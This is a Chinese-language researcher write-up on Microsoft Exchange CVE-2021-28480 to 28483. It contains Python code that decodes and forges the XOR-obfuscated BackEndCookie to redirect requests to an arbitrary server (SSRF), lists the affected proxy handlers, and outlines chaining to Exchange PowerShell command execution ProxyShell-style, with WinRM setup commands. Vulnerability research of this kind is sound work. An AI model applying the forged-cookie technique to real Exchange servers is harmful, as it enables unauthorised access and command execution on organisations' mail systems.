2021年04月14日,360CERT监测发现Microsoft发布了Exchange 安全更新的通告,本次安全更新修复了四个蠕虫级别的远程命令执行漏洞。漏洞编号为CVE-2021-28480,CVE-2021-28481,CVE-2021-28482,CVE-2021-28483,漏洞等级:严重,漏洞评分:9.8。
分析:
补丁对比:补丁更改了部分代码,和26855一样 添加了对于fqdn的验证
通过研究代码,对比数据 ,发现访问某些位置的时候会生成BackendCookie,用来指定fqdn 这就和CVE-2021-26855有些相似了
这里的cookie是 由BackEndCookieEntryPaser.TryParse()方法进行处理
我们在这里进行断点,能截取到填入的加密值
由于我们是通过Anoymous的方式进行的访问,所以name的名字为Anonymous.
进入到TryParse方法
通过 UnObscurify 方法进行解码
进行了base64解码并异或解码
将这里的代码翻译成python 代码为
def code(str): s=base64.b64decode(str) array = list() for i in s: array.append(i ^ 255) print("".join(list(map(chr,array))))
这里解密出来的形式为:Server~WIN-64V4EOC0M9F.test.com~1941997017~2022-03-30T03:19:43
当第一个参数为Server时 会将第二个参数作为Fqdn传入
而中间的WIN-64V4EOC0M9F.test.com
跟Proxylogon一样 我们就可以进行修改
修改后 就会得到下面这样
但是,不是每个链接都能利用这个cookie
要处理它,有必要找到 BEServerCookieProxyRequestHandler 类的继承者
● AnonymousCalendarProxyRequestHandler
● ComplianceServiceProxyRequestHandler
● EwsAutodiscoverProxyRequestHandler
● MailboxDeliveryProxyRequestHandler
● MapiProxyRequestHandler
● MicroServiceProxyRequestHandler
● MrsProxyRequestHandler
● OabProxyRequestHandler
而且 owa ecp的处理代码中会有一个方法RedirectIfNeeded进行判断fqdn是否存在
我们最后选择使用 AnonymousCalendarProxyRequestHandler 来进行模拟
通过代码 找到他的加密代码Obscurify()
改为python代码为
def encode(): bytes = list(map(ord,"Server~WIN-64V4EOC0M9F.test.com/mapi/nspi?~1941997017~2022-04-21T07:36:07")) array = list() for i in bytes: array.append(i ^ 255) print(base64.b64encode(bytearray(array)).decode())
访问后成功ssrf
但是,在CVE-2021-26855以后,微软添加了另一部分代码来预防此类ssrf
他对比了fqdn以及host来验证是否为ssrf,因此在打了CVE-2021-26855补丁后,我未能成功ssrf,能指定任意target,但是不能绕过到其他位置,会显示Service Unavailable
因此后面的研究我的环境改为了没打三月份补丁前的机器
参照CVE-2021-34473的利用方式
获取sid并生成token来访问到exchange powershell 并执行命令
也可以搭建Flask 代理到本地执行命令
代码可参考:
https://gist.githubusercontent.com/zdi-team/087026b241df18102db699fe4a3d9282/raw/ab4e1ecb6e0234c2e319bc229c71f2f4f70b55d9/P2O-Vancouver-2021-ProxyShell-snippet-7.py
需要设置
(1)设置网络位置
不能选择Public network,需要Home network或者Work network。
(2)设置管理员用户的密码
确保管理员用户设置了密码
(3)开启winrm服务
winrm quickconfig
(4)修改allowunencrypted属性
Powershell命令如下:
cd WSMan:\localhost\Client set-item .\allowunencrypted $true dir
(5)设置TrustedHosts
Powershell命令如下:
Get-Item WSMan:\localhost\Client\TrustedHosts Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*'
以上设置完成后,能够建立PowerShell会话并执行Exchange PowerShell命令。
以上仅供参考学习